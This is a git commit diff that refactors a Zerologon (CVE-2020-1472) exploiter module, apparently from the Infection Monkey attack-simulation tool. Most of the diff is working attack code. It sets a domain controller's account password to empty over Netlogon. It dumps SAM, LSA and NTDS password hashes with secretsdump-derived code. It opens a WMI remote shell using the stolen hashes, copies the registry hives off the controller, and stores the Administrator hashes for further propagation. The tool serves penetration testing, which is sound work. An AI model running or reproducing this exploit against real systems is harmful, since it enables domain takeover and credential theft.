CR + testing changes

This commit is contained in:
Shreya 2021-02-09 20:46:17 +05:30
parent e357b3fbe6
commit d7086f04aa
8 changed files with 553 additions and 507 deletions

View File

@ -35,13 +35,10 @@ class HostExploiter(Plugin):
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
# Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited
# machines. This would then prevent any other exploits from being attempted on it.
# Sample use case - Zerologon exploiter:
# Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon
# on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey
# can propagate to it.
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True
# Determines if successful exploitation should stop further exploit attempts on that machine.
# Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent.
# Example: Zerologon steals credentials
RUNS_AGENT_ON_SUCCESS = True
@property
@abstractmethod
@ -109,4 +106,5 @@ class HostExploiter(Plugin):
:param cmd: String of executed command. e.g. 'echo Example'
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
self.exploit_info['executed_cmds'].append(
{'cmd': cmd, 'powershell': powershell})

View File

@ -3,105 +3,54 @@ Zerologon, CVE-2020-1472
Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
"""
import cmd
import io
import logging
import ntpath
import os
import sys
import time
import traceback
from binascii import unhexlify
from typing import List, Optional
import impacket
from impacket.dcerpc.v5 import epm, nrpc, transport
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
NTDSHashes, RemoteOperations,
SAMHashes)
from impacket.smbconnection import SMBConnection
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
from infection_monkey.exploit.zerologon_utils.options import \
OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
LOG = logging.getLogger(__name__)
_orig_stdout = None
_new_stdout = None
def _set_stdout_to_in_memory_text_stream():
# set stdout to in-memory text stream, to capture info that would otherwise be printed
global _orig_stdout, _new_stdout
_orig_stdout = sys.stdout
_new_stdout = io.StringIO()
sys.stdout = _new_stdout
def _unset_stdout_and_return_captured():
# set stdout to original and return captured output
global _orig_stdout, _new_stdout
sys.stdout = _orig_stdout
_new_stdout.seek(0)
return _new_stdout.read()
class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Netlogon'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = False
RUNS_AGENT_ON_SUCCESS = False
MAX_ATTEMPTS = 2000
OPTIONS_FOR_SECRETSDUMP =\
{
'aes_key': None,
'bootkey': None,
'can_process_SAM_LSA': True,
'dc_ip': None,
'debug': False,
'exec_method': 'smbexec',
'hashes': None,
'history': False,
'is_remote': True,
'just_dc': True, # becomes False in a copy in get_original_pwd_nthash()
'just_dc_ntlm': False,
'just_dc_user': None,
'k': False,
'keytab': None,
'no_lmhash': True,
'no_pass': True,
'ntds': None,
'outputfile': None,
'pwd_last_set': False,
'resumefile': None,
'sam': None,
'security': None,
'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash()
'target': '',
'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes()
'ts': False,
'use_vss': False,
'user_status': False
}
ERROR_CODE_ACCESS_DENIED = 0xc0000022
def __init__(self, host):
def __init__(self, host: object):
super().__init__(host)
self.vulnerable_port = None
self.zerologon_finger = ZerologonFinger()
self.exploit_info['credentials'] = {}
def _exploit_host(self):
def _exploit_host(self) -> Optional[bool]:
self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host)
if self.is_exploitable():
LOG.info("Target vulnerable, changing account password to empty string.")
# Connect to the DC's Netlogon service.
try:
rpc_con = self.connect_to_dc()
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return
# Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256.
@ -113,7 +62,7 @@ class ZerologonExploiter(HostExploiter):
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != 0xc0000022:
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
@ -121,18 +70,15 @@ class ZerologonExploiter(HostExploiter):
if result is not None:
break
self.report_login_attempt(result=False,
user=self.dc_name)
if result['ErrorCode'] == 0:
self.report_login_attempt(result=True,
user=self.dc_name)
self.report_login_attempt(result=True, user=self.dc_name)
_exploited = True
LOG.info("Exploit complete!")
else:
self.report_login_attempt(result=False, user=self.dc_name)
_exploited = False
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
_exploited = True
else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
_exploited = False
@ -148,10 +94,10 @@ class ZerologonExploiter(HostExploiter):
return _exploited
def is_exploitable(self):
def is_exploitable(self) -> bool:
return self.zerologon_finger.get_host_fingerprint(self.host)
def connect_to_dc(self):
def connect_to_dc(self) -> object:
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
@ -159,20 +105,26 @@ class ZerologonExploiter(HostExploiter):
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con
def attempt_exploit(self, rpc_con):
def attempt_exploit(self, rpc_con: object) -> object:
request = nrpc.NetrServerPasswordSet2()
ZerologonExploiter._set_up_request(request, self.dc_name)
request['PrimaryName'] = self.dc_handle + '\x00'
request['AccountName'] = self.dc_name + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = 0
request['Authenticator'] = authenticator
request['ComputerName'] = self.dc_name + '\x00'
request['ClearNewPassword'] = b'\x00' * 516
return rpc_con.request(request)
def restore_password(self):
@staticmethod
def _set_up_request(request: object, dc_name: str) -> None:
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = b'\x00' * 4
request['AccountName'] = dc_name + '$\x00'
request['ComputerName'] = dc_name + '\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['Authenticator'] = authenticator
def restore_password(self) -> Optional[bool]:
LOG.info("Restoring original password...")
LOG.debug("DCSync; getting admin password's hashes.")
@ -187,6 +139,8 @@ class ZerologonExploiter(HostExploiter):
if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's nthash.")
self.remove_locally_saved_HKLM_keys()
# Keep authenticating until successful.
LOG.debug("Attempting password restoration.")
for _ in range(0, self.MAX_ATTEMPTS):
@ -203,24 +157,42 @@ class ZerologonExploiter(HostExploiter):
except Exception as e:
LOG.error(e)
def get_admin_pwd_hashes(self):
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0"
options['target_ip'] = self.dc_ip
options['dc_ip'] = self.dc_ip
def get_admin_pwd_hashes(self) -> str:
options = OptionsForSecretsdump(
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
target_ip=self.dc_ip,
dc_ip=self.dc_ip
)
dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip,
username=f"{self.dc_name}$",
options=options)
dumped_secrets = self.get_dumped_secrets(options=options,
remote_name=self.dc_ip,
username=f"{self.dc_name}$")
user = 'Administrator'
for secret in dumped_secrets:
if user in secret:
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets)
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
return ':'.join(hashes) # format - "lmhash:nthash"
def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash):
def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]:
dumper = DumpSecrets(remote_name=remote_name,
username=username,
options=options)
dumped_secrets = dumper.dump().split('\n')
return dumped_secrets
@staticmethod
def _extract_user_hashes_from_secrets(user: str, secrets: List[str]) -> List[str]:
for secret in secrets:
if user in secret:
# format of secret - "domain\uid:rid:lmhash:nthash:::"
hashes = secret.split(':')[2:4]
return hashes # format - [lmhash, nthash]
def store_extracted_hashes_for_exploitation(self, user: str, hashes: List[str]) -> None:
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
self.add_extracted_creds_to_monkey_config(user, hashes[0], hashes[1])
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
self.exploit_info['credentials'].update({
user: {
'username': user,
@ -230,7 +202,8 @@ class ZerologonExploiter(HostExploiter):
}
})
def add_extracted_creds_to_monkey_config(self, user, lmhash, nthash): # so other exploiters can use these creds
# so other exploiters can use these creds
def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None:
if user not in self._config.exploit_user_list:
self._config.exploit_user_list.append(user)
@ -240,29 +213,34 @@ class ZerologonExploiter(HostExploiter):
if nthash not in self._config.exploit_ntlm_hash_list:
self._config.exploit_ntlm_hash_list.append(nthash)
def get_original_pwd_nthash(self, admin_pwd_hashes):
def get_original_pwd_nthash(self, admin_pwd_hashes: str) -> str:
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
return
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
for name in ['system', 'sam', 'security']:
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
options['dc_ip'] = self.dc_ip
options['just_dc'] = False
options = OptionsForSecretsdump(
dc_ip=self.dc_ip,
just_dc=False,
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
)
dumped_secrets = self.get_dumped_secrets(options=options,
remote_name='LOCAL')
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
options=options)
for secret in dumped_secrets:
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
nthash = secret.split(':')[2]
return nthash
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''):
dumper = DumpSecrets(remote_name, username, password, domain, options)
dumped_secrets = dumper.dump().split('\n')
return dumped_secrets
def remove_locally_saved_HKLM_keys(self) -> None:
for name in ['system', 'sam', 'security']:
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
try:
os.remove(path)
except Exception as e:
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
def save_HKLM_keys_locally(self, admin_pwd_hashes):
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
LOG.debug("Starting remote shell on victim.")
wmiexec = Wmiexec(ip=self.dc_ip,
@ -272,7 +250,9 @@ class ZerologonExploiter(HostExploiter):
remote_shell = wmiexec.get_remote_shell()
if remote_shell:
_set_stdout_to_in_memory_text_stream()
_orig_stdout = sys.stdout
_new_stdout = io.StringIO()
sys.stdout = _new_stdout
try:
# Save HKLM keys on victim.
@ -286,7 +266,8 @@ class ZerologonExploiter(HostExploiter):
remote_shell.onecmd('get security.save')
# Delete saved keys on victim.
remote_shell.onecmd('del /f system.save sam.save security.save')
remote_shell.onecmd(
'del /f system.save sam.save security.save')
wmiexec.close()
@ -296,15 +277,24 @@ class ZerologonExploiter(HostExploiter):
LOG.info(f"Exception occured: {str(e)}")
finally:
info = _unset_stdout_and_return_captured()
sys.stdout = _orig_stdout
_new_stdout.seek(0)
info = _new_stdout.read()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
else:
raise Exception("Could not start remote shell on DC.")
def attempt_restoration(self, original_pwd_nthash):
return False
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]:
# Connect to the DC's Netlogon service.
try:
rpc_con = self.connect_to_dc()
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
return
plaintext = b'\x00'*8
ciphertext = b'\x00'*8
@ -322,28 +312,22 @@ class ZerologonExploiter(HostExploiter):
self.dc_name + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
# server_auth.dump()
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
try:
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = ciphertext
authenticator['Timestamp'] = b"\x00" * 4
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
nrpc.OPNUMS[6] = (NetrServerPasswordSet,
nrpc.NetrServerPasswordSetResponse)
request = NetrServerPasswordSet()
ZerologonExploiter._set_up_request(request, self.dc_name)
request['PrimaryName'] = NULL
request['AccountName'] = self.dc_name + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['ComputerName'] = self.dc_name + '\x00'
request["Authenticator"] = authenticator
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key)
pwd_data = impacket.crypto.SamEncryptNTLMHash(
unhexlify(original_pwd_nthash), session_key)
request["UasNewPassword"] = pwd_data
rpc_con.request(request)
except Exception as e:
@ -353,7 +337,7 @@ class ZerologonExploiter(HostExploiter):
except nrpc.DCERPCSessionError as e:
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
if e.get_error_code() == 0xc0000022:
if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED:
return None
else:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
@ -379,365 +363,3 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode', nrpc.NTSTATUS),
)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
# Used to get Administrator and original DC passwords' hashes
class DumpSecrets:
def __init__(self, remote_name, username='', password='', domain='', options=None):
self.__use_VSS_method = options['use_vss']
self.__remote_name = remote_name
self.__remote_host = options['target_ip']
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aes_key = options['aes_key']
self.__smb_connection = None
self.__remote_ops = None
self.__SAM_hashes = None
self.__NTDS_hashes = None
self.__LSA_secrets = None
self.__system_hive = options['system']
self.__bootkey = options['bootkey']
self.__security_hive = options['security']
self.__sam_hive = options['sam']
self.__ntds_file = options['ntds']
self.__history = options['history']
self.__no_lmhash = options['no_lmhash']
self.__is_remote = options['is_remote']
self.__output_file_name = options['outputfile']
self.__do_kerberos = options['k']
self.__just_DC = options['just_dc']
self.__just_DC_NTLM = options['just_dc_ntlm']
self.__just_user = options['just_dc_user']
self.__pwd_last_set = options['pwd_last_set']
self.__print_user_status = options['user_status']
self.__resume_file_name = options['resumefile']
self.__can_process_SAM_LSA = options['can_process_SAM_LSA']
self.__kdc_host = options['dc_ip']
self.__options = options
if options['hashes'] is not None:
self.__lmhash, self.__nthash = options['hashes'].split(':')
def connect(self):
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
_set_stdout_to_in_memory_text_stream()
dumped_secrets = ''
try:
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
self.__is_remote = False
self.__use_VSS_method = True
if self.__system_hive:
local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey()
if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage.
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else:
import binascii
bootkey = binascii.unhexlify(self.__bootkey)
else:
self.__is_remote = True
bootkey = None
try:
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
LOG.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
pass
else:
raise
self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host)
self.__remote_ops.setExecMethod(self.__options['exec_method'])
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey()
# Let's check whether target system stores LM Hashes.
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e:
self.__can_process_SAM_LSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__do_kerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
'Try -just-dc-user')
else:
LOG.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA.
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
try:
if self.__is_remote is True:
SAM_file_name = self.__remote_ops.saveSAM()
else:
SAM_file_name = self.__sam_hive
self.__SAM_hashes = SAMHashes(SAM_file_name, bootkey, isRemote=self.__is_remote)
self.__SAM_hashes.dump()
if self.__output_file_name is not None:
self.__SAM_hashes.export(self.__output_file_name)
except Exception as e:
LOG.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__is_remote is True:
SECURITY_file_name = self.__remote_ops.saveSECURITY()
else:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
isRemote=self.__is_remote, history=self.__history)
self.__LSA_secrets.dumpCachedHashes()
if self.__output_file_name is not None:
self.__LSA_secrets.exportCached(self.__output_file_name)
self.__LSA_secrets.dumpSecrets()
if self.__output_file_name is not None:
self.__LSA_secrets.exportSecrets(self.__output_file_name)
except Exception as e:
LOG.debug(traceback.print_exc())
LOG.error('LSA hashes extraction failed: %s' % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
if self.__is_remote is True:
if self.__use_VSS_method and self.__remote_ops is not None:
NTDS_file_name = self.__remote_ops.saveNTDS()
else:
NTDS_file_name = None
else:
NTDS_file_name = self.__ntds_file
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history,
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name,
outputFileName=self.__output_file_name, justUser=self.__just_user,
printUserStatus=self.__print_user_status)
try:
self.__NTDS_hashes.dump()
except Exception as e:
LOG.debug(traceback.print_exc())
if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
LOG.error(e)
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
LOG.error("You just got that error because there might be some duplicates of the same name. "
"Try specifying the domain name for the user as well. It is important to specify it "
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
elif self.__use_VSS_method is False:
LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
LOG.debug(traceback.print_exc())
LOG.error(e)
if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt):
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
try:
self.cleanup()
except Exception:
pass
finally:
dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys
return dumped_secrets
def cleanup(self):
LOG.debug('Cleaning up...')
if self.__remote_ops:
self.__remote_ops.finish()
if self.__SAM_hashes:
self.__SAM_hashes.finish()
if self.__LSA_secrets:
self.__LSA_secrets.finish()
if self.__NTDS_hashes:
self.__NTDS_hashes.finish()
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to get HKLM keys for restoring original DC password
class Wmiexec:
OUTPUT_FILENAME = '__' + str(time.time())
def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'):
self.__ip = ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(':')
self.__share = share
self.shell = None
def connect(self):
self.smbConnection = SMBConnection(self.__ip, self.__ip)
self.smbConnection.login(user=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash)
self.dcom = DCOMConnection(target=self.__ip,
username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
oxidResolver=True)
try:
iInterface = self.dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
except (Exception, KeyboardInterrupt) as e:
LOG.error(str(e))
self.smbConnection.logoff()
self.dcom.disconnect()
def get_remote_shell(self):
self.connect()
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
return self.shell
def close(self):
self.smbConnection.close()
self.smbConnection = None
self.dcom.disconnect()
self.dcom = None
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to start remote shell on victim
class RemoteShell(cmd.Cmd):
CODEC = sys.stdout.encoding
def __init__(self, share, win32Process, smbConnection, outputFilename):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + outputFilename
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = str('C:\\')
self.__noOutput = False
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename)
fh = open(local_file_path, 'wb')
LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception as e:
LOG.error(str(e))
if os.path.exists(local_file_path):
os.remove(local_file_path)
def do_exit(self, s):
return True
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive.
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid.
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong.
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path.
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
try:
self.__outputBuffer += data.decode(self.CODEC)
except UnicodeDecodeError:
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
'again with -codec and the corresponding codec')
self.__outputBuffer += data.decode(self.CODEC, errors='replace')
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait.
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting.
LOG.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer)
self.__outputBuffer = ''

View File

@ -0,0 +1,193 @@
import io
import logging
import os
import sys
import traceback
from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
NTDSHashes, RemoteOperations,
SAMHashes)
from impacket.smbconnection import SMBConnection
LOG = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
# Used to get Administrator and original DC passwords' hashes
class DumpSecrets:
def __init__(self, remote_name, username='', password='', domain='', options=None):
self.__use_VSS_method = options.use_vss
self.__remote_name = remote_name
self.__remote_host = options.target_ip
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__smb_connection = None
self.__remote_ops = None
self.__SAM_hashes = None
self.__NTDS_hashes = None
self.__LSA_secrets = None
self.__system_hive = options.system
self.__bootkey = options.bootkey
self.__security_hive = options.security
self.__sam_hive = options.sam
self.__ntds_file = options.ntds
self.__no_lmhash = options.no_lmhash
self.__is_remote = options.is_remote
self.__do_kerberos = options.k
self.__just_DC = options.just_dc
self.__just_DC_NTLM = options.just_dc_ntlm
self.__can_process_SAM_LSA = options.can_process_SAM_LSA
self.__kdc_host = options.dc_ip
self.__options = options
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self):
self.__smb_connection = SMBConnection(
self.__remote_name, self.__remote_host)
self.__smb_connection.login(
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
_orig_stdout = sys.stdout
_new_stdout = io.StringIO()
sys.stdout = _new_stdout
dumped_secrets = ''
try:
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
self.__is_remote = False
self.__use_VSS_method = True
if self.__system_hive:
local_operations = LocalOperations(self.__system_hive)
bootkey = local_operations.getBootKey()
if self.__ntds_file is not None:
# Let's grab target's configuration about LM Hashes storage.
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
else:
import binascii
bootkey = binascii.unhexlify(self.__bootkey)
else:
self.__is_remote = True
bootkey = None
try:
try:
self.connect()
except Exception as e:
if os.getenv('KRB5CCNAME') is not None and self.__do_kerberos is True:
# SMBConnection failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
LOG.debug(
'SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
else:
raise
self.__remote_ops = RemoteOperations(
self.__smb_connection, self.__do_kerberos, self.__kdc_host)
self.__remote_ops.setExecMethod(self.__options.exec_method)
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
self.__remote_ops.enableRegistry()
bootkey = self.__remote_ops.getBootKey()
# Let's check whether target system stores LM Hashes.
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
except Exception as e:
self.__can_process_SAM_LSA = False
if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
and self.__do_kerberos is True:
# Giving some hints here when SPN target name validation is set to something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
'Try -just-dc-user')
else:
LOG.error('RemoteOperations failed: %s' % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA.
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
try:
if self.__is_remote is True:
SAM_file_name = self.__remote_ops.saveSAM()
else:
SAM_file_name = self.__sam_hive
self.__SAM_hashes = SAMHashes(
SAM_file_name, bootkey, isRemote=self.__is_remote)
self.__SAM_hashes.dump()
except Exception as e:
LOG.error('SAM hashes extraction failed: %s' % str(e))
try:
if self.__is_remote is True:
SECURITY_file_name = self.__remote_ops.saveSECURITY()
else:
SECURITY_file_name = self.__security_hive
self.__LSA_secrets = LSASecrets(SECURITY_file_name, bootkey, self.__remote_ops,
isRemote=self.__is_remote)
self.__LSA_secrets.dumpCachedHashes()
self.__LSA_secrets.dumpSecrets()
except Exception as e:
LOG.debug(traceback.print_exc())
LOG.error('LSA hashes extraction failed: %s' % str(e))
